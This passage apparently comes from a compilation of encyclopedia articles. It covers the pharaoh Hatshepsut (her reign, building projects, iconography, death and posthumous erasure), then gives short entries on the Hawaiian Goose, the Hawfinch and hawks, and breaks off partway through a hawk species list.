          Thutmose III ruled as pharaoh for more than thirty years after the death of Hatshepsut. This relationship between Neferure and Amenemhat is debated among authors, but since Neferure is depicted in her mother's funeral temple, there are some who believe that Neferure was still alive in the first few years of the rule by Thutmose III as pharaoh, that his eldest son, Amenemhat, was her child, and that he thereby was the heir to the throne of Thutmose III until he died.


          


          Rule


          


          Dates and length of reign


          Hatshepsut was given reign about twenty-two years by ancient authors. Josephus writes that she reigned for twenty-one years and nine months while Africanus states her reign lasted twenty-two years, both of whom were quoting Manetho. At this point in the histories, records of the reign of Hatshepsut end, since the first major foreign campaign of Thutmose III was dated to his twenty-second year, which also would have been Hatshepsut's twenty-second year as pharaoh. Dating the beginning of her reign is more difficult, however. Her father's reign began in either 1506 or 1526 BC according to the low and high chronologies, respectively. However, the length of the reigns of Thutmose I and Thutmose II cannot be determined with absolute certainty. With short reigns, Hatshepsut would have ascended the throne fourteen years after the coronation of Thutmose I. Longer reigns would put her ascension twenty-five years after Thutmose I's coronation. Thus, Hatshepsut could have assumed power as early as 1512 BC or as late as 1479.


          Modern chronologists, however, tend to agree that Hatshepsut reigned as pharaoh from 1479 to 1458 BC, but there is no definitive proof of the beginning date. These dates are derived from the closeness of length of her reign, related in the ancient records of Manetho, Africanus, and Josephus and counting backward from the date of her death, which is quite certain.


          


          Major accomplishments
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          As Hatshepsut reestablished the trade networks that had been disrupted during the Hyksos occupation of Egypt during the Second Intermediate Period, thereby building a wealth of the eighteenth dynasty that has become so famous since the discovery of the burial of one of her descendants, Tutankhamun, began to be analyzed.


          She oversaw the preparations and funding for a mission to the Land of Punt. The expedition set out in her name with five ships, each measuring 70feet (21 m) long bearing several sails and accommodating 210 men that included sailors and 30 rowers. Many trade goods were bought in Punt, notably myrrh, which is said to have been Hatshepsut's favourite fragrance.


          Most notably, however, the Egyptians returned from the voyage bearing 31 live frankincense trees, the roots of which were carefully kept in baskets for the duration of the voyage. This was the first recorded attempt to transplant foreign trees. It is reported that Hatshepsut had these trees planted in the courts of her Deir el Bahari mortuary temple complex. Egyptians also returned with living Puntites (people of Punt). This trading expedition to Punt was roughly during Hatshepsut's nineteenth year of reign.


          She had the expedition commemorated in relief at Deir el-Bahri, which also is famous for its realistic depiction of the Queen of the Land of Punt, Queen Iti, who appears to have had a genetic trait called steatopygia. Hatshepsut also sent raiding expeditions to Byblos and Sinai shortly after the Punt expedition. Very little is known about these expeditions. Although many Egyptologists have claimed that her foreign policy was mainly peaceful, there is evidence that Hatshepsut led successful military campaigns in Nubia, the Levant, and Syria early in her career.


          


          Building projects


          Hatshepsut was one of the most prolific builders in ancient Egypt, commissioning hundreds of construction projects throughout both Upper and Lower Egypt, that were grander and more numerous than those of any of her Middle Kingdom predecessors.


          She employed two great architects: Ineni, who also had worked for her husband and father and for the royal steward Senemut. During her reign, so much statuary was produced that almost every major museum in the world has Hatshepsut statuary among their collections; for instance, the Hatshepsut Room in New York City's Metropolitan Museum of Art is dedicated solely to these pieces.


          Following the tradition of most pharaohs, Hatshepsut had monuments constructed at the Temple of Karnak. She also restored the original Precinct of Mut, the ancient great goddess of Egypt, at Karnak that had been ravaged by the foreign rulers during the Hyksos occupation. She had twin obelisks, at the time the tallest in the world, erected at the entrance to the temple. One still stands, as the tallest surviving ancient obelisk on Earth; the other has since broken in two and toppled. Another project, Karnak's Red Chapel, or Chapelle Rouge, was intended as a barque shrine and may have stood between her two obelisks originally. She later ordered the construction of two more obelisks to celebrate her sixteenth year as pharaoh; one of the obelisks broke during construction, and thus a third was constructed to replace it. The broken obelisk was left at its quarrying site in Aswan, where it still remains, known as The Unfinished Obelisk, serving as a demonstration of just how obelisks were quarried.


          The Temple of Pakhet was built by Hatshepsut at Beni Hasan in the Minya Governorate south of Al Minya. Pakhet was a synthesis that occurred combining Bast and Sekhmet, who were similar lioness war goddesses, in an area that bordered the north and south division of their cults. The cavernous underground temple, cut into the rock cliffs on the eastern side of the Nile, was admired and called the Speos Artemidos by the Greeks during their occupation of Egypt, known as the Ptolemaic Dynasty. They saw the goddess as a parallel to their hunter goddess Artemis. The temple is thought to have been built alongside much more ancient ones that have not survived. This temple has an architrave bearing a long dedicatory text bearing Hatshepsut's famous denunciation of the Hyksos that has been translated by James P. Allen. They had occupied Egypt and cast it into a cultural decline that persisted until a revival brought about by her policies and innovations. This temple was altered later and some of its inside decorations were usurped by Seti I, in the nineteenth dynasty, attempting to have his name replace that of Hatshepsut.


          The masterpiece of Hatshepsut's building projects was her mortuary temple complex at Deir el-Bahri. It was designed and implemented by Senemut at a site on the West Bank of the Nile River near the entrance to what is now called the Valley of the Kings because of all the pharaohs who later chose to associate their complexes with the grandeur of hers. Her buildings were the first grand ones planned for that location. The focal point was the Djeser-Djeseru or "the Sublime of Sublimes", a colonnaded structure of perfect harmony nearly one thousand years before the Parthenon was built. Djeser-Djeseru sits atop a series of terraces that once were graced with lush gardens. Djeser-Djeseru is built into a cliff face that rises sharply above it. Djeser-Djeseru and the other buildings of Hatshepsut's Deir el-Bahri complex are considered to be among the great buildings of the ancient world. Also another one of her great accomplishments is the Hatshepsut needle (also known as the granite obelisks).


          


          Official lauding vs. propaganda


          While all ancient leaders used propaganda to laud their achievements, Hatshepsut has been called the most accomplished pharaoh at promoting her accomplishments. This may have resulted from the extensive building executed during her time as pharaoh in comparison to many others because it afforded her with opportunities to laud herself, but it also reflects the wealth that her policies and administration brought to Egypt, enabling her to finance such projects. Aggrandizement of their achievements was traditional when pharaohs built temples and their tombs. Hyperbole is common, virtually, to all royal inscriptions of Egyptian history.
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          Women had a high status in ancient Egypt and enjoyed the legal right to own, inherit, or will property. A woman becoming pharaoh was rare, however, only Khentkaues, Sobeknefru, and possibly Nitocris preceded her in known records as ruling solely in their own name. The latter's existence is disputed and is likely a mis-translation of a male king. Twosret, a female king and the last pharaoh of the nineteenth dynasty, may have been the only woman to succeed her among the indigenous rulers, although research continues about others. At that point in Egyptian history, there was no word for a queen regnant, pharaoh had become the name for the ruler. Hatshepsut is not unique, however, in taking the title of king. Sobekneferu, ruling six dynasties prior to Hatshepsut, also did so when she ruled Egypt. Hatshepsut had been well trained in her duties as the daughter of the pharaoh. During her father's reign she held the powerful office of God's Wife. She had taken a strong role as queen to her husband and was well experienced in the administration of her kingdom by the time she became pharaoh. There is no indication of challenges to her leadership and, until her death, her co-regent remained in a secondary role, quite amicably heading her powerful armywhich would have given him the power necessary to overthrow a usurper of his rightful place, if that had been the case.


          Hatshepsut assumed all of the regalia and symbols of the pharaonic office in official representations: the Khat head cloth, topped with the uraeus, the traditional false beard, and shendyt kilt. Many existing statues alternatively show her in typically feminine attire as well as those that depict her in the royal ceremonial attire. Statues portraying Sobekneferu also combine elements of traditional male and female iconography and, by tradition, may have served as inspiration for these works commissioned by Hatshepsut. After this period of transition ended, however, all formal depictions of Hatshepsut as pharaoh showed her in the royal attire, with all of the pharaonic regalia, and with her breasts obscured behind her crossed arms holding the regal staffs of the two kingdoms she ruled, as the symbols of the pharaoh were much more important to be displayed traditionally.


          The reasons for her breasts not being emphasized in the most formal statues were debated among early Egyptologists who never drew a parallel to the fact that many women and goddesses portrayed in ancient Egyptian art lack delineation of breasts and that the gender of pharaohs was never stressed in ancient Egyptian Art. Interpretations by these early scholars were that her motivation for wearing men's clothing was a personal choice.
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          Modern scholars, however, have opted for an alternative theory: that by assuming the typical symbols of pharaonic power, Hatshepsut was asserting her claim to be the sovereign and not a "King's Great Wife" or Queen consort. The gender of pharaohs was never stressed in official depictions, even the men were depicted with the highly stylized false beard associated with their position in the society. Moreover, the Osirian statues of Hatshepsutas with other pharaohsdepict the dead pharaoh as Osiris, with the body and regalia of that deity. All of the statues of Hatshepsut at her tomb follow that tradition. The promise of resurrection after death was a tenet of the cult of Osiris. Since there are so many of these, statues of Hatshepsut depicted in this fashion have been widely published and put on display in museums and, viewers without an understanding of the religious significance have been misled.


          Most of the official statues commissioned of Hatshepsut show her less symbolically and more naturally, as a woman in typical dresses of the nobility of her day. Notably, even after assuming the formal regalia, Hatshepsut still described herself as a beautiful woman, often as the most beautiful of women, and although she assumed almost all of her father's titles, she declined to take the title "The Strong Bull" (the full title being, The Strong Bull of his Mother), which tied the pharaoh to the goddesses Isis, the throne, and Hathor, (the cow who gave birth to and protected the pharaohs), by being her son sitting on her throne -- an unnecessary title for her, since Hatshepsut became allied with the goddesses, herself, which no male pharaoh could. Rather than the strong bull, Hatshepsut associated herself with the image of Sekhmet, the major war deity in the Egyptian pantheon, having served as a very successful warrior during the early portion of her reign as pharaoh.


          Religious concepts were tied into all of these symbols and titles. By the time of Hatshepsut's reign, the merger of some aspects of these two goddesses provided that they would both have given birth to, and were the protectors of, the pharaohs. They became interchangeable at times. Hatshepsut also traced her lineage to Mut, a primal mother goddess of the Egyptian pantheon, which gave her another ancestor who was a deity as well as her father, who would have become deified upon death.


          While Hatshepsut was depicted in official art wearing regalia of a pharaoh, such as the false beard that male pharaohs also wore, it is most unlikely that she ever wore such ceremonial decorations, just as it is unlikely that the male pharaohs did. Statues such as those at the Metropolitan Museum of Art, depicting her seated wearing a tight-fitting dress and the nemes crown, are thought to be a more accurate representation of how she would have presented herself at court.


          As a notable exception, only one male pharaoh abandoned the rigid symbolic depiction that had become the style of the most official artwork representing the ruler, Pharaoh Amenhotep IV (later Akhenaten) of the same eighteenth dynasty, whose wife, Nefertiti, also may have ruled in her own right following the death of her husband.


          One of the most famous examples of the legends about Hatshepsut is a myth about her birth. In this myth, Amun goes to Ahmose in the form of Thutmose I and awakens her with pleasant odours. At this point Amun places the ankh, a symbol of life, to Ahmose's nose, and Hatshepsut is conceived by Ahmose. Khnum, the god who forms the bodies of human children, is then instructed to create a body and ka, or corporal presence/life force, for Hatshepsut. Heket, the goddess of life and fertility, and Khnum then lead Ahmose along to a lioness bed where she gives birth to Hatshepsut.


          The Oracle of Amun proclaimed that it was the will of Amun that Hatshepsut be pharaoh, further strengthening her position. She reiterated Amun's support by having these proclamations by the god Amun carved on her monuments:


          
            
              	

              	Welcome my sweet daughter, my favorite, the King of Upper and Lower Egypt, Maatkare, Hatshepsut. Thou art the Pharaoh, taking possession of the Two Lands.

              	
            

          


          Hatshepsut claimed that she was her father's intended heir and that he made her the heir apparent of Egypt. Almost all scholars today view this as historical revisionism, or prolepsis, on Hatshepsut's part since it was Thutmose II--a son of Thutmose I by Mutnofret--who was her father's heir. Moreover, Thutmose I could not have foreseen that his daughter Hatshepsut would outlive his son within his own lifetime. Thutmose II soon married Hatshepsut and the latter became both his senior royal wife and the most powerful woman at court. Evelyn Wells, however, accepts Hatshepsut's claim that she was her father's intended successor. Once she became pharaoh herself, Hatshepsut supported her assertion that she was her father's designated successor with inscriptions on the walls of her mortuary temple:


          
            
              	

              	Then his majesty said to them: "This daughter of mine, Khnumetamun Hatshepsutmay she live!I have appointed as my successor upon my throne... she shall direct the people in every sphere of the palace; it is she indeed who shall lead you. Obey her words, unite yourselves at her command." The royal nobles, the dignitaries, and the leaders of the people heard this proclamation of the promotion of his daughter, the King of Upper and Lower Egypt, Maatkaremay she live eternally.

              	
            

          


          American humorist Will Cuppy wrote an essay on Hatshepsut which was published after his death in the book The Decline and Fall of Practically Everybody. Regarding one of her wall inscriptions, he wrote,


          
            
              	

              	For a general notion of Hatshepsut's appearance at a certain stage of her career, we are indebted to one of those wall inscriptions. It states that "to look upon her was more beautiful than anything; her splendor and her form were divine." Some have thought it odd that the female Pharaoh should have been so bold, fiftyish as she was. Not at all. She was merely saying how things were about thirty-five years back, before she had married Thutmose II and slugged it out with Thutmose III. "She was a maiden, beautiful and blooming", the hieroglyphics run, and we have no reason to doubt it. Surely there is no harm in telling the world how one looked in 1514 B.C.

              	
            

          


          


          Death


          Hatshepsut died as she was approaching, what we would consider middle age given typical contemporary lifespans, in her twenty-second regnal year. The precise date of Hatshepsut's death -- and the time when Thutmose III became pharaoh of Egypt -- is considered to be Year 22, II Peret day 10 of their joint rule as recorded on a single stela erected at Armant or January 16, 1458 BC. This information validates the basic reliability of Manetho's kinglist records since Thutmose III and Hatshepsut's known accession date was I Shemu day 4. (ie: Hatshepsut died 9 months into her 22nd year as Manetho writes in his Epitome for a reign of 21 years and 9 months) No mention of the cause of her death has survived. If the recent identification of her mummy in KV60 is correct,however, CT scans would indicate that she died of blood infection while she was in her 50s. It also would suggest that she had arthritis, bad teeth, and probably had diabetes.


          For a long time, her mummy was believed to be missing from the Deir el-Bahri Cache. An unidentified female mummyfound with Hatshepsut's wet nurse, Sitire-Re, one of whose arms was posed in the traditional burial style of pharaohshas led to the theory that the unidentified mummy in KV60 might be Hatshepsut. Don Ryan working with Pacific Lutheran University and the Evergreen State College reopened KV60 in 1989, which had been resealed after it was discovered at the turn of the century. The tomb had been damaged, but the mummies remained in site.


          In March 2006, Zahi Hawass claimed to have located the mummy of Hatshepsut, which was mislaid on the third floor of the Cairo Museum. In June 2007, it was announced that Egyptologists believed they had identified Hatshepsut's mummy in the Valley of the Kings; this discovery is considered to be the "most important find in the Valley of the Kings since the discovery of King Tutankhamun". Decisive evidence was a molar found in a wooden box that was inscribed with Hatshepsut's name, found in 1881 among a cache of royal mummies hidden away for safekeeping in a near-by temple. The tooth has been conclusively proven to have been removed from the mummy's mouth, fitting exactly an empty socket in the mummy's jawbone.


          


          Burial complex


          
            [image: Hatshepsut's Temple]

            
              Hatshepsut's Temple
            

          


          Hatshepsut had begun construction of a tomb when she was the Great Royal Wife of Thutmose II, but the scale of this was not suitable when she became pharaoh, so a second tomb was built. This was KV20, which possibly was the first tomb to be constructed in the Valley of the Kings. The original intention seems to have been to hew a long tunnel that would lead underneath her mortuary temple, but the quality of the limestone bedrock was poor and her architect must have realized that this goal would not be possible. As a result, a large burial chamber was created instead. At some point, it was decided to dis-inter her father, Thutmose I, from his original tomb in KV38 and place his mummy in a new chamber below hers. Her original red-quartzite sarcophagus was altered to accommodate her father instead, and a new one was made for her. It is likely that when she died (no later than the twenty-second year of her reign), she was interred in this tomb along with her father.


          The tomb was opened in antiquity, the first time during the end of the reign of Hatshepsut's successor, Thutmose III, who re-interred his grandfather, Thutmose I, in his original tomb, and may have moved Hatshepsut's mummy into the tomb of her wet nurse, Sitre-Re, in KV60. It is possible that Amenhotep II, successor to Thutmose III was the one motivating these actions in an attempt to assure his own succession. Although her tomb largely had been cleared (save for both sarcophagi still present when the tomb was fully cleared by Howard Carter in 1903) some grave furnishings have been identified as belonging to Hatshepsut, including a "throne" (bedstead is a better description), a senet game board with carved lioness-headed, red-jasper game pieces bearing her pharaonic title, a signet ring, and a partial ushabti figurine bearing her name. In the Royal Mummy Cache at DB320 an ivory canopic coffer was found that was inscribed with the name of Hatshepsut and contained a mummified liver. However, there was a royal lady of the Twenty-first dynasty of the same name, and this could belong to her instead.


          


          Changing recognition
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          Toward the end of the reign of Thutmose III, an attempt was made to remove Hatshepsut from certain historical and pharaonic records. This elimination was carried out in the most literal way possible. Her cartouches and images were chiselled off the stone wallsleaving very obvious Hatshepsut-shaped gaps in the artworkand she was excluded from the official history that was rewritten without acknowledgment of any form of co-regency during the period between Thutmose II to Thutmose III.


          At the Deir el-Bahri temple, Hatshepsut's numerous statues were torn down and in many cases, smashed or disfigured before being buried in a pit. At Karnak there even was an attempt to wall up her obelisks. While it is clear that much of this rewriting of Hatshepsut's history occurred only during the close of Thutmose III's reign, it is not clear why it happened, other than the typical pattern of self-promotion that existed among the pharaohs and their administrators, or perhaps saving money by not building new monuments for the burial of Thutmose III and instead, using the grand structures built by Hatshepsut.


          Amenhotep II, who became a co-regent of Thutmose III before his death, however, would have had a motive because his position in the royal lineage was not so strong. He is suspected by some as being the defacer during the end of the reign of a very old pharaoh. He is documented, further, as having usurped many of Hatshepsut's accomplishments during his own reign. His reign is marked with attempts to break the royal lineage as well.


          For many years, Egyptologists assumed that it was a damnatio memoriae, the deliberate erasure of a person's name, image, and memory, which would cause them to die a second, terrible and permanent death in the afterlife. This appeared to make sense when thinking that Thutmose might have been an unwilling co-regent for years. This assessment of the situation probably is too simplistic, however. It is highly unlikely that the determined and focused Thutmosenot only Egypt's most successful general, but an acclaimed athlete, author, historian, botanist, and architectwould have brooded for two decades before attempting to avenge himself on his stepmother. According to renowned Egyptologist Donald Redford:


          
            
              	

              	Here and there, in the dark recesses of a shrine or tomb where no plebeian eye could see, the queen's cartouche and figure were left intact ... which never vulgar eye would again behold, still conveyed for the king the warmth and awe of a divine presence.
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          The erasures were sporadic and haphazard, with only the more visible and accessible images of Hatshepsut being removed; had it been more complete, we would not now have so many images of Hatshepsut. Thutmose III may have died before his changes were finished, or it may be that he never intended a total obliteration of her memory. In fact, we have no evidence to support the assumption that Thutmose hated or resented Hatshepsut during her lifetime. Had that been true, as head of the army, in a position given to him by Hatshepsut (who was clearly not worried about her co-regent's loyalty), he surely could have led a successful coup, but he made no attempt to challenge her authority during her reign and her accomplishments and images remained featured on all of the public buildings she built for twenty years after her death.


          It is possible that Thutmose III, lacking any sinister motivation, decided toward the end of his life, to relegate Hatshepsut to her expected place as queen regent--which was the traditional role of powerful women in Egypt's court as the example of Queen Ahhotep attests--rather than king. By eliminating the more obvious traces of Hatshepsut's monuments as pharaoh and reducing her status to that of his co-regent, Thutmose III could claim that the royal succession ran directly from Thutmose I to Thutmose III without any interference from his aunt.


          The deliberate erasures or mutilations of the numerous public celebrations of her accomplishments, but not the rarely seen ones, would be all that was necessary to obscure Hatshepsut's accomplishments. Moreover, by the latter half of Thutmose III's reign, the more prominent high officials who had served Hatshepsut would have died, thereby eliminating the powerful bureaucratic resistance to a change in direction in a highly stratified culture. Hatshepsut's highest official and closest supporter, Senenmut seems either to have retired abruptly or died around Years 16 and 20 of Hatshepsut's reign and, was never interred in either of his carefully prepared tombs. The enigma of Senenmut's sudden disappearance "has teased Egyptologists for decades" given the lack of solid archaeological or textual evidence" and permitted "the vivid imagination of Senenmut-scholars to run wild" resulting in a variety of strongly held solutions "some of which would do credit to any fictional murder/mystery plot." Newer court officials, appointed by Thutmose III, also would have had an interest in promoting the many achievements of their master in order to assure the continued success of their own families.


          A more recent hypothesis about Hatshepsut suggests that Thutmose III's erasures and defacement of Hatshepsut's monuments were a cold but rational attempt on Thutmose's part to extinguish the memory of an "unconventional female king whose reign might possibly be interpreted by future generations as a grave offence against Ma'at, and whose unorthodox coregency" could "cast serious doubt upon the legitimacy of his own right to rule. Hatshepsut's crime need not be anything more than the fact that she was a woman." Thutmose III may have considered the possibility that the example of a successful female king in Egyptian history could set a dangerous precedent since it demonstrated that a woman was as capable at governing Egypt as a traditional male king. This event could, theoretically, persuade "future generations of potentially strong female kings" to not "remain content with their traditional lot as wife, sister and eventual mother of a king" instead and assume the crown. While Queen Sobekneferu of Egypt's Middle Kingdom had enjoyed a short c.4 year reign, she ruled "at the very end of a fading [12th dynasty] Dynasty, and from the very start of her reign the odds had been stacked against her. She was therefore acceptable to conservative Egyptians as a patriotic 'Warrior Queen' who had failed" to rejuvenate Egypt's fortunes--a result which underlined the traditional Egyptian view that a woman was incapable of holding the throne in her own right. Hence, few Egyptians would desire to repeat the experiment of a female monarch.


          In contrast, Hatshepsut's glorious reign was a completely different case: she demonstrated that women were as equally capable as men in ruling the two lands since she successfully presided over a prosperous Egypt for more than two decades. If Thutmose III's intent here was to forestall the possibility of a woman assuming the throne, it failed. Two female kings are known to have assumed the throne after Thutmose's reign during the New Kingdom: Neferneferuaten and Twosret. Unlike Hatshepsut, however, both rulers enjoyed brief and short-lived reign of only 2 and 1 years respectively.


          The erasure of Hatshepsut's name, whatever the reason, almost caused her to disappear from Egypt's archaeological and written records. And, when nineteenth-century Egyptologists started to interpret the texts on the Deir el-Bahri temple walls (which were illustrated with two seemingly male kings) their translations made no sense. Jean-Francois Champollion, the French decoder of hieroglyphs, was not alone in feeling confused by the obvious conflict between words and pictures:
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              	If I felt somewhat surprised at seeing here, as elsewhere throughout the temple, the renowned Moeris [Thutmose III], adorned with all the insignia of royalty, giving place to this Amenenthe [Hatshepsut], for whose name we may search the royal lists in vain, still more astonished was I to find upon reading the inscriptions that wherever they referred to this bearded king in the usual dress of the Pharaohs, nouns and verbs were in the feminine, as though a queen were in question. I found the same peculiarity everywhere...

              	
            

          


          The 2006 discovery of a foundation deposit including nine golden cartouches bearing the names of both Hatshepsut and Thutmose III in Karnak may shed additional light on the eventual attempt by Thutmose III and his son Amenhotep II to erase Hatshepsut from the historical record and the correct nature of their relationships and her role as pharaoh.


          Records of her reign, documented in diverse ancient sources, failed to generate much research about this pharaoh by early modern Egyptologists and Hatshepsut went from being one of the most obscure leaders of Egypt at the beginning of the twentieth centuryto one of its most famous, by the century's end. Archaeological discoveries of the early twentieth century provided information that had been missing from those records and, technical advances later in the century enabled better identifications to make contemporary historical records more complete.


          


          Popular and fictional attention


          As the Feminist movement matured, prominent women from antiquity were sought out and their achievements increasingly publicized. Biographies such as Hatshepsut by Evelyn Wells romanticized her as a beautiful and pacifistic woman"the first great woman in History." This was quite a contrast to the nineteenth-century interpretations of Hatshepsut as a wicked stepmother usurping the throne from Thutmose III. The novel Mara, Daughter of the Nile by Eloise Jarvis McGraw, maintains the wicked stepmother view by casting Hatshepsut as the story's villainess. The plot revolves around the efforts of the slave girl Mara and various nobles to overthrow Hatshepsut and install the "rightful" heir, Thutmose III, as Pharaoh. They blame Hatshepsut's numerous building projects for the bankruptcy of the Egyptian state and she is depicted as keeping Thutmose III as a prisoner within the palace walls. At least four authors have written fictional novels featuring Hatshepsut as the historical heroine: Hatshepsut: Daughter of Amun by Moyra Caldecott, King and Goddess, by Judith Tarr, Child of the Morning by Pauline Gedge, and Pharaoh by Eloise Jarvis McGraw, as well as the Lieutenant Bak series of mystery novels which is set during her reign.


          Suzanne Frank has also written a time travel fantasy book about a young woman being sent back in time to the time Hatshepsut reigned. This author depicted that Hatshepsut was the ruler during the time Moses sent the plagues and freed the slaves.


          There is a popular theory that before her father's death, Hatshepsut was the princess who found Moses floating in the Nile, which has been largely debated by Egyptologists, Muslim and Biblical scholars. She is depicted in this role in Orson Scott Card's historical novel Stone Tables.


          In the video game, Civilization IV, Hatshepsut appears as one of the rulers of Egypt. Also in the video game, Serious Sam: The First Encounter, Hatshepsut's temple was designated as the first level of the game, set as the location of the Time Lock machine mentioned in the game.
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              	Branta sandvicensis

              ( Vigors, 1833)
            

          


          The Hawaiian Goose or Nēnē, Branta sandvicensis, is a species of goose endemic to the Hawaiian Islands. It shares a recent common ancestor with Branta canadensis, the Canada Goose. The official bird of the State of Hawaiʻi, the Nēnē is exclusively found in the wild of the islands of Maui, Kauaʻi and Hawaiʻi. A larger, extinct and possibly flightless species, the Nēnē-nui (Branta hylobadistes), was present in prehistoric times on Maui; related, but hitherto undescribed forms also occurred on Kauaʻi and Oʻahu; there was also a gigantic, flightless relative on the island of Hawaiʻi.


          The Nēnē gets its Hawaiian name from its soft call.


          The adult male has a black head and hindneck, buff cheeks and heavily furrowed neck. The neck has black and white diagonal stripes. The female Hawaiian Goose is similar to the male in coloring but slightly smaller. The adult's bill, legs and feet are black. The young birds are similar to the male, but are a duller brown and with less demarcation between the colors of the head and neck, and striping and barring effects are much reduced. The bill, legs and feet are the same as for the adult.


          Its strong toes have much reduced webbing, an adaptation to the lava flows on which it breeds. It mates on land unlike most other wildfowl.


          This is the world's rarest goose. The bird was once believed to be common, with approximately 25,000 nenes living in Hawai'i when Captain James Cook arrived in 1778. However, hunting and introduced predators such as mongooses, pigs, and cats reduced the population to 30 birds by 1952. However, this species breeds well in captivity, and has been successfully re-introduced; in 2004 it was estimated that there were 800 birds in the wild, as well as 1000 in wildfowl collections and zoos. However, there is some concern of inbreeding due to the small initial population of birds. The nature reserve WWT Slimbridge in England was instrumental in the successful breeding of Nēnē geese in captivity. Under the direction of the leading conservationist Sir Peter Scott, it was bred back from the brink of extinction during the 1950s for later re-introduction into the wild in Hawaii. There are still nēnē geese at Slimbridge today.
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          The Hawfinch, Coccothraustes coccothraustes, is a passerine bird in the finch family Fringillidae. As its closest living relatives are the Evening Grosbeak (C. vespertinus) and the Hooded Grosbeak (C. abeillei) from North America, the Hawfinch is sometimmes also konwn as European Grosbeak.


          This bird breeds across Europe and temperate Asia. It is mainly resident in Europe, but many Asian birds migrate further south in the winter. It is a rare vagrant to the western islands of Alaska.


          Deciduous or mixed woodland with large trees, especially Hornbeam, is favoured for breeding, including parkland. It builds its nest in a bush or tree, laying 2-7 eggs. The food is mainly seeds and fruit kernels, especially those of cherries, which it cracks with its powerful bill.


          This large finch species does not form large flocks outside the breeding season, and is usually seen as a pair or small group.


          The 16.5-18 cm long Hawfinch is a bulky bull-headed bird, which appears very short-tailed in flight. Its head is orange-brown with a black eyestripe and bib, and a massive bill, which is black in summer but paler in winter. The upper parts are dark brown and the underparts orange.


          The white wing bars and tail tip are striking in flight. The sexes are similar. The call is a hard chick. The song of this unobtrusive bird is quiet and mumbled.
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          The term hawk refers to birds of prey in any of three senses:


          
            	Strictly, to mean any of the species in the bird sub-family Accipitrinae in the genera Accipiter, Micronisus, Melierax, Urotriorchis, and Megatriorchis. The large and widespread Accipiter genus includes goshawks, sparrowhawks , the Sharp-shinned Hawk and others. They are mainly woodland birds that hunt by sudden dashes from a concealed perch. They usually have long tails and high visual acuity.

          


          
            	More generally, to mean small to medium-sized birds that are members of the Accipitridae, the family which includes the true hawks (Accipiters) and also eagles, kites, harriers, buzzards, and Old World vultures.

          


          
            	Loosely, to mean almost any bird of prey.

          


          The common names of birds in various parts of the world often use hawk loosely. For example, in North America, the Buteos are called "hawks".


          In February 2005 the Canadian scientist Dr Louis Lefebvre announced a method of measuring avian IQ in terms of their innovation in feeding habits. Hawks were named among the most intelligent birds based on this scale.


          Hawks are believed to have vision as good as 20/2, about eight times more acute than humans with good eyesight. This is because of many photoreceptors in the retina (Up to 1,000,000 per square mm, against 200,000 for humans), a very high number of nerves connecting the receptors to the brain, a second set of eye muscles not found in other animals, and an indented fovea, which magnifies the central part of the visual field.


          


          Species list


          This list is in taxonomic order to show the relationships between species.


          
            	
              Subfamily Accipitrinae

              
                	
                  Genus Accipiter

                  
                    	Goshawk, A. gentilis


                    	Eurasian Sparrowhawk, A. nisus


                    	Grey-bellied Goshawk, A. poliogaster


                    	Crested Goshawk, A. trivirgatus


                    	Sulawesi Goshawk, A. griseiceps


                    	Red-chested Goshawk, A. toussenelii


                    	African Goshawk, A. tachiro


                    	Chinese Goshawk, A. soloensis


                    	Frances's Sparrowhawk, A. francesii


                    	Spot-tailed Goshawk, A. trinotatus


                    	Grey Goshawk, A. novaehollandiae


                    	Brown Goshawk, A. fasciatus


                    	Black-mantled Goshawk, A. melanochlamys


                    	Pied Goshawk, A. albogularis


                    	Fiji Goshawk, A. rufitorques


                    	White-bellied Goshawk, A. haplochrous


                    	Moluccan Goshawk, A. henicogrammus


                    	Grey-headed Goshawk, A. poliocephalus


                    	New Britain Goshawk, A. princeps


                    	Black Goshawk, A. melanoleucus


                    	Henst's Goshawk, A. henstii


                    	Meyer's Goshawk, A. meyerianus


                    	Chestnut-flanked Sparrowhawk, A. castanilius


                    	Nicobar Sparrowhawk, A. butleri


                    	Levant Sparrowhawk, A. brevipes


                    	Slaty-mantled Sparrowhawk, A. luteoschistaceus


                    	Imitator Sparrowhawk, A. imitator


                    	Red-thighed Sparrowhawk, A. erythropus


                    	Little Sparrowhawk, A. minullus


                    	Japanese Sparrowhawk, A. gularis


                    	Small Sparrowhawk, A. nanus


                    	Rufous-necked Sparrowhawk, A. erythrauchen


                    	Collared Sparrowhawk, A. cirrocephalus


                    	New Britain Sparrowhawk, A. brachyurus


                    	Vinous-breasted Sparrowhawk, A. rhodogaster


                    	Madagascar Sparrowhawk, A. madagascariensis


                    	Ovampo Sparrowhawk, A. ovampensis


                    	Rufous-chested Sparrowhawk, A. rufiventris


                    	Shikra, A. badius


                    	Tiny Hawk, A. superciliosus


                    	Semicollared Hawk, A. collaris


                    	Sharp-shinned Hawk, A. striatus


                    	White-breasted Hawk, A. chionogaster


                    	Plain-breasted Hawk, A. ventralis


                    	Rufous-thighed Hawk, A. erythronemius


                    	Cooper's Hawk, A. cooperii


                    	Gundlach's Hawk, A. gundlachi


                    	Bicoloured Hawk, A. bicolor


                    	Besra, A. virgatus

                  

                


                	
                  Genus Micronisus

                  
                    	Gabar Goshawk, M. gabar

                  

                


                	
                  Genus Melierax

                  
                    	Dark Chanting Goshawk, M. metabates


                    	Eastern Chanting Goshawk, M. poliopterus


                    	Pale Chanting Goshawk, M. canorus

                  

                


                	
                  Genus Urotriorchis

                  
                    	Long-tailed Hawk, U. macrourus

                  

                


                	
                  Genus Erythrotriorchis

                  
                    	Red Goshawk, E. radiatus


                    	Chestnut-shouldered Goshawk, E. buergersi

                  

                


                	
                  Genus Megatriorchis

                  
                    	Doria's Goshawk, Megatriorchis doriae

                  

                

              

            


            	
              Subfamily Buteoninae

              
                	
                  Genus Parabuteo

                  
                    	Harris's Hawk, P. unicinctus

                  

                


                	
                  Genus Buteogallus

                  
                    	Common Black Hawk, Buteogallus anthracinus


                    	Mangrove Black Hawk, Buteogallus subtilis


                    	Great Black Hawk, Buteogallus urubitinga


                    	Rufous crab Hawk, Buteogallus aequinoctialis


                    	Savanna Hawk, Buteogallus meridionalis

                  

                


                	
                  Genus Busarellus

                  
                    	Black-collared Hawk, Busarellus nigricollis

                  

                


                	
                  Genus Leucopternis

                  
                    	Plumbeous Hawk, Leucopternis plumbea


                    	Slate-coloured Hawk, Leucopternis schistacea


                    	Barred Hawk, Leucopternis princeps


                    	Black-faced Hawk, Leucopternis melanops


                    	White-browed Hawk, Leucopternis kuhli


                    	White-necked Hawk, Leucopternis lacernulata


                    	Semiplumbeous Hawk, Leucopternis semiplumbea


                    	White Hawk, Leucopternis albicollis


